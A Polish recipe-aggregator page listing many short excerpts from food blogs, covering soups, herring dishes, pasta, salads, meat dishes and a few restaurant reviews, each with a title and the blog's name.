natką lub koperkiem. Prosta, szybka, smaczna. Dla mojej Córci (bez fasoli), całej rodziny, zdrowa, domowa, pożywna. Polecam:) SKŁADNIKI: 2 marchwie 1 cały seler puszka 420g pieczonej fasoli w sosie pomidorowym wraz z sokiem (u mnie Tesco Organic) puszka fasoli białej wraz z sokiem puszka pomidorów 1 batat 2 średnie ziemniaki 1 cebula 1 l wody + 1 szklanka

Zasmakuj Kuchni
Fusilli z tuńczykiem 166

Oczywiście pod warunkiem, że lubimy tuńczyka, bo mój mąż nie był zachwycony ;-) SKŁADNIKI 1 średnia cebula oliwa 1 puszka pomidorów krojonych 200 g śmietany 30% 1 puszka tuńczyka w sosie własnym 1 mały słoik czarnych oliwek 1 pęczek natki pietruszki 300 g makaronu pełnoziarnistego (u mnie orkiszowy) sól, świeżo mielony pieprz kolorowy, zioła prowansalskie WYKONANIE Cebulę obrać, pokroić w kostkę

Passions hobbies life
Niedzielny obiad w stylu świątecznym z niemieckim winem 175

ząbki czosnku posiekane puszka ciecierzycy odsączona z zalewy 2 twarde pierniczki (np. starte na tarce katarzynki lub piernik gastrononiczny) do dekoracji 2 średnie cebule drobno posiekane 4 łyżki sosu sojowego ocet balsamiczny por Olej do głębokiego smażenia Sól, pieprz, cukier kropla oliwy do dekoracji Przepis na krem z grzybów z dekoracją ze smażonego pora Gotujemy bulion grzybowy z włoszczyzny

Ugotowane pozamiatane
Śledzie w śmietanie z jabłkiem i cebulą 189

Śledzie w śmietanie najczęściej zajadamy w formie dania obiadowego, gdzie używamy do jego wykonania słodkiej śmietanki 18%, a masa jest dość płynną i pełni funkcję sosu. Śledzie w śmietanie na obiad koniecznie muszą być z jabłkiem, cebulą oraz ziemniakami. Świąteczne śledzie w śmietanie zaś przyrządzamy bardziej na gęsto – a przepis na nie pojawi się wkrótce na blogu. Polecam

Kulinarne Przeboje
Spaghetti z szarpaną wieprzowiną 134

nich oregano, pomidory w puszce, koncentrat, cukier, wszystko doprawiamy solą i pieprzem, smażymy na wolnym ogniu około 5 minut. Dorzucamy do tego mięso, podgrzewamy. Dodajemy makaron, mieszamy. Jeżeli sos wyszedł za gęsty, można dodać odrobinę wody z gotowania makaronu. Podajemy ze startym serem

Kardamonovy
Roladki z polędwicy w galarecie 460

Roladki z polędwicy w galarecie Bardzo często na różne okazje przygotowuję takie roladki z szynką, tym razem postanowiłam zrobić mniejsze roladki z polędwicy w sosie chrzanowym. Roladki okazały się bardzo smaczne

Kuchnia Danusi
Menu na tydzień: Dania dla św. Mikołaja 187

można też zrobić używając świeżego mięsa. W obydwu przypadkach potrawa jest doskonała. Świetnie nadaje się na lunch do pracy. Czwartek: Kurczak tikki masala Smażony filet, uduszony następnie w kremowym sosie o pięknej miedzianej barwie. I do tego ten zapach! Kuchnia hinduska jest chyba najbardziej aromatyczną kuchnią na świecie. Dla niektórych być może pachnie zbyt intensywnie, ale przecież chyba

Niedzielny kucharz
Max Burgers Warszawa – W poszukiwaniu smaku 3/2018 94

przyjemność uczestniczyć w oficjalnym otwarciu Max Burgers w Warszawie (to były pierwsze odwiedziny). Podczas wspomnianego spotkania mieliśmy okazję spróbować wielu pozycji z menu. Zaczęliśmy oczywiście od przystawek/dodatków i sosów. O [...] Artykuł Max Burgers Warszawa – W poszukiwaniu smaku 3/2018 pochodzi z serwisu sandrafrej.com

SandraFrej.com
Karkówka kanapkowa , pieczona , prosta wędlina 158

pieczeń z karkówki przekładamy na dobę do lodówki . Dzięki temu będzie się ładnie kroić . Serwujemy na zimno na kanapkach , pokrojoną w cienkie plastry . Doskonała z musztardą , chrzanem lub innymi sosami czy warzywnymi dodatkami . Taka prosta klasyka , łatwa i smaczna . Smacznego ! Artykuł Karkówka kanapkowa , pieczona , prosta wędlina pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
MAC&CHEESE CZYLI MAKARONOWA ZAPIEKANKA Z FILMU "KEVIN SAM W DOMU" 139

patelni roztopić masło. Dodać mąkę i wymieszać dokładnie. Dolać mleko cały czas mieszając. Przyprawić solą i pieprzem. Ugotowany makaron przełożyć do naczynia żaroodpornego wysmarowanego masłem. Na makaron wylać sos. Posypać solą, pieprzem oraz na wierzch dodać starty ser żółty i parmezan. Makaron piec w temp 170 st C przez ok 20 min Wpis powstał we współpracą

Kuchnia w oparach
SAŁATKA Z BROKUŁEM 296

suchej patelni. Różyczki brokuła drobno siekamy. Cebulę i natke szatkujemy. Ciecierzycę mieszamy z warzywami. Wsypujemy ziarna i żurawinę. Musztardę mieszamy z olejem, sokiem z cytryny, melasą oraz przyprawami - gotowym sosem polewały sałatkę

Kasia Sarna
Pieczone , chrupiące ziemniaki po węgiersku 1235

ziemniaki są łatwe w przygotowaniu i można je zrobić dużo wcześniej a o właściwej porze tylko zapiec w piekarniku . Polecam , fajna zimowa przystawka do różnych dań , jeśli jeszcze dodać sos czosnkowo koperkowy na bazie jogurtu…. poezja Składniki : 6-7 ziemniaków średniej wielkości 2 łyżki słodkiej , mielonej papryki 1 łyżka ostrej mielonej papryki 1 płaska łyżeczka drobno mielonego kminku

Ogrodnik w podróży
Kruche ciasto z mięsem i kapustą kiszoną 145

minut. Po 15-u minutach dodać kapustę kiszoną, ziele angielskie, liść laurowy, kminek, śliwki pokrojone w drobną kostkę, sól oraz pieprz. Zmniejszyć ogień na mały i smażyć do odparowania sosu (mi zajęło to 1,5 godziny). Podsmażone składniki wystudzić. Kiedy zimne, dodać dwa jajka i dobrze wymieszać. Kruche ciasto wyjąć z lodówki, podzielić na dwie części i rozwałkować. Pierwszą częścią

mecooks
Domowe mleko kokosowe 159

warstwa tłuszczu, taka kokosowa śmietanka. Warto więc przed nalaniem wstrząsnąć butelkę lub podgrzać odrobinę, by tłuszcz kokosowy się rozpuścił. Można też wykorzystać taką śmietankę do innych celów, np. do sosu. W takiej sytuacji lepiej byłoby wystudzić domowe mleko kokosowe w innym niż butelka naczyniu, żeby ułatwić sobie zebranie śmietanki.   Na zdrowie!   Artykuł Domowe mleko kokosowe pochodzi z serwisu

Figa S-makiem
Warto spróbować – sałatka z kiełkami soi 212

znudzą nam się po jednym dniu. Sięgajmy po dodatki Sałatki komponowane są na różne sposoby. Sałatki warzywne, owocowe, z mięsem, ryżem, makaronem. Bardzo pyszne z wszelkiego rodzaju lekkimi sosami, jogurtami, posypane koperkiem czy pietruszką. Sałatki z kiełkami soi , sałatki z sokiem z pomarańczy, cytryny, czy dzikim pieprzem. Każda godna uwagi i warta spróbowania. Należy bowiem pamiętać, że najważniejszym aspektem

sierotka maRysia w kuchni
Poledwiczki w sosie grzybowym 132

Polędwica wieprzowa , to smaczne mięso i mozna przygotować ją na wiele sposobów. Dziś przygotowałam ją w boczku i sosie grzybowym. SKŁADNIKI: 1 polędwiczka wieprzowa boczek surowy w plastrach sól,pieprz garść suszonych grzybów śmietana 18% słodka 2 łyżki masła klarowanego 1 cebula bulion zielona pietruszka do dekoracji WYKONANIE: grzyby namoczyć na noc, polędwiczkę pociąć na 4 cm kawałki, lekko zgnieść

Kuchnia Beaty
SAŁATKA ŚLEDZIOWA Z CURRY I RODZYNKAMI – idealna na Święta 158

SPOSÓB PRZYRZĄDZENIA: Śledzie zalewamy wodą, moczymy przez ok. 10 godzin zmieniając przy tym dwukrotnie wodę. ZALEWA: Składniki zalewamy, gotujemy, studzimy, zalewamy śledzie, odstawiamy na 5 dni do lodówki. SOS CURRY: Cebulę siekamy, ogórki kroimy w drobną kosteczkę. Dodajemy namoczone rodzynki oraz majonez i Vegetę z curry Podravka – wszystko razem dokładnie mieszamy. Dodajemy do pokrojonych na kawałki śledzi, ostawiamy

Ostra na Słodko
Domowe mleko kokosowe 141

warstwa tłuszczu, taka kokosowa śmietanka. Warto więc przed nalaniem wstrząsnąć butelkę lub podgrzać odrobinę, by tłuszcz kokosowy się rozpuścił. Można też wykorzystać taką śmietankę do innych celów, np. do sosu. W takiej sytuacji lepiej byłoby wystudzić domowe mleko kokosowe w innym niż butelka naczyniu, żeby ułatwić sobie zebranie śmietanki.   Na zdrowie!   Artykuł Domowe mleko kokosowe pochodzi z serwisu

Figa S-makiem
Salatka z tortellini 575

Takie rzeczy rzadko jadamy, czyli proste sałatki z sosami majonezowymi, ale czasami i takich rzeczy się człowiekowi zachce. A córce szczególnie. Dlatego gdy kupiłam makaron tortellini postanowiła, że zrobi sałatkę na kolację. Pozostale składniki znalazła w lodówce, wymieszała i gotowe. Prosto, szybko i pysznie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Meksykańskie danie jednogarnkowe 314

Błyskawiczne w przyrządzeniu pachnące świeżą kolendrą pikantne kawałki kurczaka w pomidorowym sosie ze słodką kukurydzą, papryką i czerwoną fasolą podane z brązowym pełnoziarnistym ryżem to bardzo aromatyczne, rozgrzewające danie jednogarnkowe. Składniki: 450g fileta z kurczaka pikantna przyprawa do kurczaka 1 czerwona cebula 1 czerwona papryka 1 puszka czerwonej fasoli 1 puszka kukurydzy 200g brązowego pełnowartościowego ryżu 1 puszka krojonych pomidorów

Szalona Kuchnia Eweliny
Uda kurczaka z pieczonymi warzywami 143

grzaniem góra plus dół na środkowej półce piekarnika przez ok. godzinę. Pod koniec zwiększam temp. do 210 C, by zrumienić bardziej warzywa. W trakcie pieczenia polewam mięso sosem i odwracam na drugi bok. Niezależnie od podanego czasu pieczenia sprawdźcie wcześniej czy mięso i warzywa są gotowe, moce i wielkości piekarników są różne. Podaję z posiekaną kapustą pekińską, oliwkami i vinegretem

Zasmakuj Kuchni
Przyjęcie na ostatnią chwilę – jak zorganizować? 180

Polecam w szczególności: Imprezowe parówki w chrupiącym cieście, proste sałatki, domowe rafaello, pizze, krówkowe szyszki z popcornu, jabłkowe mini pączki, pączki serowe, faworki, chrupiące kęski z kurczaka i domowy sos czosnkowy. Wszystkie przepisy znajdziecie na blogu. Wystarczy wejść w zakładkę „Na przyjęcie” . Poza tym polecam Wam mieć zawsze w lodówce ciasto francuskie. Możecie je nadziać dżemem, owocami, pieczarkami

Słodkie okruszki
Domowe mleko kokosowe 133

warstwa tłuszczu, taka kokosowa śmietanka. Warto więc przed nalaniem wstrząsnąć butelkę lub podgrzać odrobinę, by tłuszcz kokosowy się rozpuścił. Można też wykorzystać taką śmietankę do innych celów, np. do sosu. W takiej sytuacji lepiej byłoby wystudzić domowe mleko kokosowe w innym niż butelka naczyniu, żeby ułatwić sobie zebranie śmietanki.   Na zdrowie!   Artykuł Domowe mleko kokosowe pochodzi z serwisu

Figa S-makiem
Kotlety z kalafiora z żółtym serem 173

Bardzo lubię kalafiora, takiego zwykłego z bułką tartą, ale tym razem zrobiłam w innej wersji. Bardzo mi smakowały, można podawać z surówką, warzywami lub jakimś sosem. Polecam Składniki: kalafior 100 g startego żółtego sera 2 jajka 3-4 łyżki natki, koperku lub pomieszać sól, pieprz papryka słodka olej do smażenia 3-4 łyżki bułki tartej + do panierowania Kalafiora podzielić

talerz przyjemności
PYSZNA ZUPA KALAFIOROWA - jak zrobić. 154

surówka z selera << < pyszna zupa kalafiorowa, potrawka z kurczaka z warzywami z ryżem i sałatą rzymską<< < pyszna zupa kalafiorowa, pulpeciki z indyka w sosie koperkowym, tłuczone ziemniaki i buraczki zasmażane<< < Smacznego :) Zupa kalafiorowa fot. Moja Książka Kucharska

Moja Książka Kucharska
Domowy makaron 261

makaronu do robota Kenwood Chef XL, co znacznie ułatwiło mi rozwałkowywanie ciasta. Możecie również ciasto wałkować w tradycyjny sposób, na stolnicy lub blacie kuchennym. Zobacz też: Makaron w sosie szpinakowym Makaron z bakłażanem i boczkiem Przepis na domowy makaron Drukuj przepis Czas gotowania: 30 minut Składniki 250 mąki pszennej 2 jajka szczypta soli pół łyżeczki oleju odrobina wody mąka

Kuchnia Bazylii
Surówka z kapusty pekińskiej, jabłka i chrzanu 154

cytryny sól pieprz Kapustę szatkujemy. Dodajemy do niej starte na grubych oczkach obrane jabłko i cebulę pokrojoną w drobną kostkę. Z jogurtu, majonezu i soku z cytryny robimy sos, który łączymy z kapustą. Całość doprawiamy solą i świeżo zmielonym pieprzem

Kardamonovy
Przepis #189 Ryżowe ciasto kokosowe - bez mąki 204

koniec porcjami dodajemy ubite białka. Wszystko dokładnie mieszamy. Przekładamy do formy i pieczemy w temperaturze 180 stopni przez około 25 minut.  Deser ryżowy można podawać z domowym sosem owocowym lub czekoladowym. Najlepiej smakuje na ciepło. *najlepiej użyć słodzidła, które ma jasny kolor i nie zmieni koloru masy - dobrze się sprawdzi miód, ksylitol lub erytrytol.  Smacznego

Health-Fit-Life
Surówka z fenkułu – surówka z kopru włoskiego 315

drugą połową bulwy i jabłkiem – tniemy tak samo, bez gniazda nasiennego, ale skórkę na jabłku zostawiamy. W miseczce mieszamy miód z octem jabłkowym i oliwą, zalewamy takim prostym sosem pocięte ingrediencje, dokładnie mieszamy. Orzechy włoskie z grubsza siekamy na desce i posypujemy nimi surówkę. Możecie użyć zwykłych orzechów – świeżo wyłuskanych, ale dla pełniejszego aromatu i kruchości warto je podprażyć przez

Karo in the Kitchen
Śledzie w sosie curry z zielonym pieprzem 220

Świąteczny stół nie może obyć się bez śledzi. I w tym roku proponuję je podać w nieco egzotycznym wydaniu na słodko-ostrą nutę, sos curry idealnie komponuje się ze śledziami, a słodki   ananas dodaje smaku, zielony marynowany pieprz ostrości. Spróbujcie, na pewno posmakują J SKŁADNIKI: 5 filetów śledzi z oleju 4 plastry ananasa (z puszki) 1 mała cebula

Wanilia i Kardamon
Pierogi po lwowsku 143

podać z kwaśną śmietaną. [caption id="attachment_7884" align="aligncenter" width="685"] Pierogi po lwowsku[/caption] Zobacz inne przepisy na pierogi: Pierogi Z Boczkiem I Twarogiem Pierogi Zapiekane W Sosie Pomidorowym Pierogi Z Kapustą I Pieczarkami Pieczone W Piekarniku Pierogi Z Wątróbką Pierogi Z Mięsem I Pieczarkami – Pyszne! Pierogi Ze Śliwkami Pierogi Ruskie Artykuł Pierogi po lwowsku pochodzi z serwisu

e-PrzepisyKulinarne
Kluski żelazne 196

wrzucamy partiami kluski, gotujemy ok 4 minut od wypłynięcia na wierzch. Przed wyjęciem wszystkich klusek z wody, warto wyjąć jedną i sprawdzić czy jest dobrze ugotowana. Podawać gorące, polane sosem z pieczenia kaczki. Smacznego

Stare Gary
Słodkie przeboje na każdą imprezę 167

Ciasto można przygotować wcześniej. Różne owoce – maliny, borówkę amerykańską, jeżyny, truskawki, jagody, pokrojone w kostkę brzoskwinie lub ananasy z puszki - umieścić w misach. Do tego cukier puder, tarta czekolada, sosy owocowe i czekoladowe, bita śmietana i pyszny deser gotowy! Niezawodna klasyka, czyli szarlotka w roli głównej Jeśli nie mamy dość odwagi czy czasu na cukiernicze eksperymenty, albo spodziewamy się wizyty

Domowa Cukierenka-Domowa Kuchnia
ToTò Eataliano - prawdziwa Italia w Warszawie 157

lubimy i co jest najtrudniejszym testem jeśli chodzi o kuchnie włoską, czyli pizzę. Muszę przyznać, że ToTò przeszło test baaardzo pozytywnie. Próbujemy kilka odsłon pizzy: z sosem pomidorowym, mozzarellą DOP, szynką parmeńską, salami, gorgonzolą i karmelizowaną,  cebulką. Wszystkie są na bardzo cienkim cieście. Najbardziej smakuje mi ta z karmelizowaną cebulą i pleśniowym serem. I teraz la grande finale

Kulinarne przygody Gatity
makaron spaghetti z gulaszem paprykowym bez mięsa... 203

makaron spaghetti 1 opakowanie, ser żółty gouda 30 dag na tłuszczu po pieczeniu kurczaka (zawsze powstały wywar z pieczenia drobiu, mięsa zamrażam i wykorzystuję do tego typu dań,bigosu,sosów) lub na oleju zeszklić pokrojoną cebulę z porem, dodać pokrojone marchewki, wymieszać i dusić z 10 minut co jakiś czas mieszając wsypać pokrojoną w paski z pestkami paprykę i podsmażać

W Mojej Kuchni Lubię
Sałatka z szynką i ananasem 531

Polecam Wam również inne przekąski : – Rollsy z łososiem – Pasta do pieczywa jajko-makrela – Serowe kulki – Sałatka z makaronem ryżowym – Jajka w sosie tatarskim – Sałatka z brokułami i szynką

Kulinarne S.O.S.
Kalafior pieczony z pulpecikami 377

Dzisiaj mam dla Was zapiekany kalafior z pulpetami mięsnymi i sosem. Rewelacyjny smak i szybki obiad. Na moim blogu znajdziecie wiele innych przepisów na kalafiora. Szczególnie polecam kalafiora zapiekanego z mięsem mielonym, który nie tylko wspaniale smakuje, ale i pięknie wygląda. Jeżeli przygotujecie danie z podanych przeze mnie przepisów to proszę podzielcie się swoją opinia w komentarzach za co bardzo

O kuchni z uczuciem
GOTOWANE JAJKA Z TUŃCZYKIEM 153

Składniki: 6 jajek ugotowanych na twardo 1 puszka tuńczyka w kawałkach w sosie własnym 1 łyżka majonezu odrobina koperku sól pieprz (adsbygoogle = window.adsbygoogle || []).push({}); Sposób przygotowania: Jajka ugotować na twardo (około 6 minut), brać, opłukać i przeciąć na pół. Żółtka oddzielić od białek. Do miseczki dodać żółtka, odsączonego tuńczyka, majonez, drobno posiekany koperek i przyprawić solą i pieprzem. Dobrze wymieszać

Żarłoczek
SOCZYSTY SCHAB W SOSIE POROWYM 152

Pyszny schab w sosie porowym Składniki: około 1 kg schabu 1 średni por 1 średnia cebula 200 ml śmietany 30% sól pieprz ziele angielskie, pieprz w ziarnkach i liść laurowy (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: Schab oczyścić, pokroić w ok. 3 cm paski. Przygotować 1,5 litra wody. Dodać 1 małą łyżeczkę soli, 2 liście laurowe, kilka ziarenek pieprzu i ziela

Żarłoczek
Zapiekanka makaronowa z mięsem mielonym 169

Zapiekanka makaronowa z mięsem mielonym i sosem pomidorowym, na pewno przypadnie do gustu wszystkim wielbicielom spaghetti bolognese czy zapiekanki ziemniaczanej z mięsem mielonym . Sprawdzi się ona także u osób, które nie mają czasu na gotowanie, ponieważ taka porcja wystarczy spokojnie na dwa dni dla dwóch osób. Jak każdą taką zapiekankę, można dowolnie modyfikować, przykładowo dodając swoje ulubione warzywa oraz przyprawy

Kuchnia Bazylii
Potrawka z buraków i fasoli po burgundzku 206

przykryciem dusimy ok 40 minut. Buraki powinny w tym czasie zmięknąć. Dorzucamy upieczone warzywa, przecier i fasolę. Zalewamy woda tak przy przykryła zawartość garnka. Gotujemy dalsze 15 minut by sos zgęstniał. Podajemy z ulubionymi dodatkami np. kaszą, ryżem czy tak jak ja jadłam z ziemniakami. Posypujemy natką  lub inną zielenią (np. szczypiorkiem). A w tle przepięknie wydana i świetna

Dzieje kuchennej Wiewióry
Zupa kminkowa z uszkami 201

Spotkanie odbyło się w restauracji Ratuszowej na Rynku w Nowym Sączu, która słynie z kuchni regionalnej i żydowskiej. Oprócz zupy kminkowej jedliśmy też czulent z kluskami muszkatołowymi, ozorek w sosie chrzanowym, flaki i gołąbki. Do tego podano lokalne wina z okolic Nowego Sącza z winnic Strugi, Zawadka i Tabu. Zupę kminkową w Ratuszowej podaje się z grzanką z serem

Ugotowane pozamiatane
Ossobucco alla milanese - gicz cielęca duszona w warzywach 166

warzywa, podlać bulionem, następnie ułożyć mięso i pomidory dusić 90 minut, do miękkości. Pod koniec pieczenia dodać czosnek, natkę pietruszki i skórkę otartą z cytryny, doprawić solą i pieprzem. Sos można zblendować lub podawać z warzywami w kawałkach

Gotuj zdrowo!Guten Appetit!
Sałatka z makaronem ryżowym 235

paski (środek ogórka należy usunąć łyżeczką), wystudzone kawałki kurczaka oraz drobno krojonowy koperek. W miseczce wymieszać pieprz z 3/4 łyżeczki soli, majonezem, śmietaną i sokiem z cytryny. Przygotowanym sosem zalać sałatkę. Dobrze wymieszać wszystkie składniki. Sałatkę schłodzić w lodówce. Sałatka z makaronem ryżowym Smacznego! O czym warto pamiętać przygotowując sałatkę makaronową. Sałatka z makaronem ryżowym Sięgnęłam po pomidorki koktajlowe. Możecie

mecooks
PIKANTNY KUSKUS Z WARZYWAMI I KIEŁBASĄ W SOSIE POMIDOROWYM 285

kuskus – 1 szkl * bulion warzywny – ok. 500 ml * biała cebula – 1 szt * czosnek – 2 ząbki * pasta harissa – 2 łyżki * pomidory w puszce wraz z sosem – 1 puszka = 400 g * „Slawianki” Balcerzak – 190 g / 1 op * papryka czerwona, zielona, żółta – po 1 szt * świeża natka pietruszki * sok z cytryny * sól, pieprz

Ostra na Słodko
Gulasz z szynki z papryką 257

mięso. Doprawić solą i pieprzem. Całość dusimy pod przykryciem, aż mięso zmięknie. W razie potrzeby podlać wodą. Pod koniec dodajemy paprykę, chwilę jeszcze dusimy wszystko razem. Na koniec zagęścić sos mąką z odrobiną wody, zagotować.  W razie potrzeby doprawić solą i pieprzem. Smacznego

magiczna kuchnia Kasi
Kotleciki jagnięce 164

Już od jakiegoś czasu na moim blogu możecie znaleźć potrawy inspirowane smakami Indii, z dodatkiem pysznych past i sosów Patak’s. Zebrałam je dla Was w jedną kategorię i dostęp do wszystkich znajdziecie w głównym menu w kategorii „ KUCHNIA INDYJSKA „. Dziś mam dla Was kolejny pyszny przepis, który mam nadzieję zainspiruje Was do eksperymentów kulinarnych. Z dodatkiem

nietylkopasta.pl
Masło klarowane – film 139

miesiąc bez obaw, że się zepsuje – i to bez konieczności trzymania go w lodówce. Masło klarowane ma szerokie zastosowanie w kuchni. Można je wykorzystywać do smażenia, gotowania, do robienia sosów, a nawet do pieczenia ciast. Masło wrzucamy do garnki i stawiamy na małym ogniu. W taki sposób ulega ono stopniowemu roztopieniu. Kiedy masło jest już całkowicie roztopione, na powierzchni pojawia

Pomysłowa kuchnia
Sałatka jarzynowa z tuńczykiem 150

Postanowiliśmy lekko podrasować tradycję. Wyszło bardzo smacznie i co ważniejsze, szybko. Składniki 4 ziemniaki 2 marchewki 1 pietruszka 1 mały seler korzeniowy 2 jajka 1 puszka tuńczyka w sosie własnym (80 g) 1 puszka ciecierzycy 1 puszka (mała) fasoli czerwonej 1 czerwona cebula 1 strąk marynowanej pieczonej papryki 3 ogórki konserwowe 4 łyżki majonezu 2 łyżki musztardy sarepskiej sól, pieprz

R'n'G Kitchen
Chrzanowa pasta z wędzonej makreli 216

roli głównej: śledzie po duńsku , śledzie po kaszubsku , śledzie w curry , śledzie pod pierzyną , czy też śledzie korzenne . Ponadto możecie też przygotować w swoich kuchniach rybę zapiekaną w sosie śmietanowym lub rybę po grecku . Wszystkie potrawy wam zasmakują. Zobacz mój film z przygotowania pasty Składniki – Chrzanowa pasta z wędzonej makreli 1 lub 2 wędzone makrele 1-2 łyżki chrzanu

Kuchennyviral.pl
Omlet z dodatkami 223

patelni płaski talerz, odwrócić patelnię tak by omlet spadł na talerz, następnie zsunąć omlet z powrotem na patelnię. Smażę chwilę. Podaję od razu. Zajadamy czasem z pikantnym ketchupem lub sosem pomidorowym

Zasmakuj Kuchni
Gulasz z indyka z warzywami, prosty i pyszny przepis na obiad 199

zaczęło się myślenie, co zrobić jak to połączyć. Kotlety, ziemniaki jednak nie, to by było nie to co za mną chodzi, bo chodziło za mną coś pysznego, z sosem, lekko ostrego. Ponieważ obierając ziemniaki, zaczęłam ja kroić w kostkę, ej i co teraz ? I wtedy przyszedł pomysł na gulasz i wszystkie składniki w jednym garnku :) Tak to jest

Kuchnia na wzgórzu
Poniedziałek: Królik a la cacciatore 164

tego delikatesu. Przeciętny Polak – pół kilograma. Królik po myśliwsku jest bardzo prostym daniem. Wystarczy mięso obsmażyć, zalać pomidorami i spokojnie dusić do miękkości. Na koniec powstanie delikatny, zawiesisty sos pomidorowy, w którym można maczać chleb, lub podać z makaronem, ryżem, kaszą. My zjedliśmy królika z kaszą orkiszową. Przepis pochodzi ze strony restauratora, krytyka kulinarnego i autora książek kucharskich Antonio

Niedzielny kucharz
PLACUSZKI CUKINIOWO-MARCHWIOWO-SEROWE 178

Warzywne placuszki to pozycja u mnie na blogu , która cieszy się ogromnym zainteresowaniem. Do zrobienia tych placuszków , wykorzystuję sokowirówkę. Podaję z gulaszem, sosem jogurtowym , zamiast zieniaków czy kasz. Dziś proponuję placuszki z cukini,marchwi i sera żółtego. Takie połączenie na prawdę bardzo się sprawdza. Smakuje rewelacyjnie. Polecam. Zapraszam do polubienia mojej strony na FB https://www.facebook.com/gotowaniepatki/  oraz śledzenia

Gotowanie Patki
Domowe Stripsy KFC + film 169

pikantnej i chrupiącej panierce będą znakomitą propozycją dla wielbicieli fast-foodów. Proces powstawania domowych stripsów jest bardzo prosty a ich smak wyjątkowy. Takie stripsy świetnie smakują w towarzystwie ulubionych sosów, frytek i surówki.     składniki na 4 porcje podwójny filet z kurczaka marynata 500 ml maślanki 2 jajka 1 łyżeczka soli 1 łyżeczka suszonej cebuli 1 łyżeczka granulowanego czosnku

Smakowite Dania
Makaron z kurczakiem w sosie śmietanowo - brokułowym 160

dodajemy śmietankę oraz fetę rozdrobnioną na kawałki. Podgrzewamy do momentu aż kawałki sera się rozpuszczą.  Makaron gotujemy w osolonej wodzie al'dente a następnie odcedzamy i dodajemy do sosu. Podgrzewamy całość jeszcze przez 3 minuty od czasu do czasu mieszając.  Na sam koniec dodajemy koperek

Qchnia po prostu
Ryba po grecku 256

cienkie półplasterki. na łyżce oleju podaż pora i cebulę na osobnej patelni przez 4-5 minut. Do gotujących się warzyw dodaj koncentrat pomidorowy i wymieszaj aby połączył się z sosem. Dodaj teraz także podsmażonego pora z cebulą. Spróbuj warzywa i dopraw je w razie potrzeby. To moment kiedy możesz dodać trochę octu jeśli zdecydujesz się na taką wersję. Dodaj ocet

nietylkopasta.pl
Imbirowy, piernikowy i dyniowy - 3 rozgrzewające syropy idealne na chłodne dni, a także na świąteczny prezent 124

nastroju. Fantastycznie nadaje się do deserów, na przykład do pozornie banalnego ryżu z jabłkami, który niesamowicie zyskuje na smaku i aromacie. Sami spróbujcie przygotować ryż z jabłkami w korzennym sosie . Lubicie takie dodatki? Macie swoje ulubione

Codzienna kuchnia niecodzienna
Dyniowa latte macchiato (pumpkin spice latte) 142

przyprawami, gotować przez 5 minut, następnie zdjąć z ognia i pozostawić do wystudzenia. Gdy syrop wystygnie, przecedzić przez sito lub gazę. Dodać puree z dyni, zblendować na gładki sos. Na dno szklanki wlać 2 łyżki syropu, następnie wlać spienione mleko, a na mleko delikatnie wlać kawę. Polać solonym karmelem, oprószyć cynamonem. Smacznego

Obiad gotowy
Kurczak po myśliwsku w pomidorach 143

dodajemy oliwki i ewentualnie kapary. Uwaga: Kurczaka po myśliwsku w pomidorach można też zapiekać w piekarniku zamiast dusić na wolnym ogniu. W naczyniu żaroodpornym układamy kawałki kurczaka i zalewamy sosem pomidorowym z powyższego przepisu. Pieczemy 30 minut w piekarniku nagrzanym do około 180 - 190 stopni. Kawałki kurczaka można przed smażeniem zamarynować przez noc w winie. Po wyjęciu wystarczy osuszyć

Kulinaria - potrawy z różnych stron świata
Restauracja Menya Musashi – ramen w Blue City 215

okazję próbować także pierożków które można tu zamówić do ramenu. Niezależnie od wersji smakowej (kurczak, wieprzowina, krewetki, krewetki i okoń, warzywa) smakują bardzo dobrze, choć podawane są z różnymi sosami i dodatkami. Przeczytaliście już moją opinię, ale ważne było dla mnie zdanie wszystkich próbujących osób. Zacznę od Gosi, która zamówiła ramen w wersjii wegańskiej. Gosię ucieszył fakt, że miała

nietylkopasta.pl
Opiekane polędwiczki z piersi kurczaka w marynacie jogurtowo-koperkowej 164

marynat jogurtowych, które wzbogacam różnymi ziołami. Tu użyłam aromatycznego koperku, co podkreśliło subtelność mięsa.  Polecam!   400g polędwiczek z piersi kurczaka Marynata: 2 łyżki jogurtu naturalnego 2 łyżki sosu sojowego 1 łyżka suszonego koperku 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki papryki ostrej   Wszystkie składniki marynaty połączyć, a następnie w powstałej mieszance umieścić umyte i osuszone polędwiczki

Di gotuje
Pieczone nuggetsy z kurczaka 157

blaszce wysmarowanej olejem i wyłożonej papierem do pieczenia. 5. Wstawić do piekarnika nagrzanego do 200 stopni i piec przez około 15-20 minut. 6. Nuggetsy podawać z różnego rodzaju sosami

Szalona Kuchnia Eweliny
Szybki makaron z owocami morza / Easy seafood pasta 229

Dziś proponuję szybki, pyszny i bardzo przyjemny makaron z owocami morza, pieczarkami i papryką w sosie na bazie pomidorów. Doskonały pomysł na szybki obiad po pracy dla całej rodziny – o ile są fanami tego typu dań. W moim domu niestety owoce morza lubię tylko ja, stąd tak niewiele przepisów na moim blogu z nimi w roli głównej. Jednak czasami

karmelowy
Schab z suszonymi pomidorami 159

minut, aby wchłonął nieco płynu, który wytopił się w czasie pieczenia. Jeśli schab będzie podany na ciepło to wytopiony sok zagotować z kilkoma łyżkami śmietany i zrobić z niego sos. Schab przeznaczony do jedzenia na zimno pozostawić w rękawie do całkowitego wystudzenia. Zobacz również: schab pieczony w rękawie

Kuchcik gotuje
Kotlety z kaszy gryczanej z twarogiem 207

wymieszać. Mokrymi dłońmi uformować kotlety dowolnej wielkości, kotlety obtoczyć w bułce tartej i smażyć na nieprzywierającej patelni, na mocno rozgrzanym tłuszczu, z obu stron na rumiano. Podawać z ulubionymi sosami. Smacznego Artykuł Kotlety z kaszy gryczanej z twarogiem pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Pulpety gotowane w sosie dyniowym 263

wieprzowej 1 jajko 1 cebula 1 kromka czerstwego chleba 3 ząbki czosnku ulubiona mieszanka przypraw mąka 1/4 kg dyni (waga po obraniu) 1 … Czytaj dalej Pulpety gotowane w sosie dyniowym

czarrna od kuchni
Placki kartoflane 143

smażenie. Tym razem postanowiłam wziąć czynny udział w ich wykonaniu i wszystko spisać. Placki robione przez Janka są cienkie i bardzo, bardzo chrupiące. Najczęściej jemy je z dodatkiem ostrych sosów np na bazie jogurtu. Tym razem dodatkiem był dobrze przyprawiony ser  liptauer . Jedyną wadą tych placków wydaje mi się fakt, że trzeba równocześnie smażyć i zjadać. Nie mogą wstygnąć

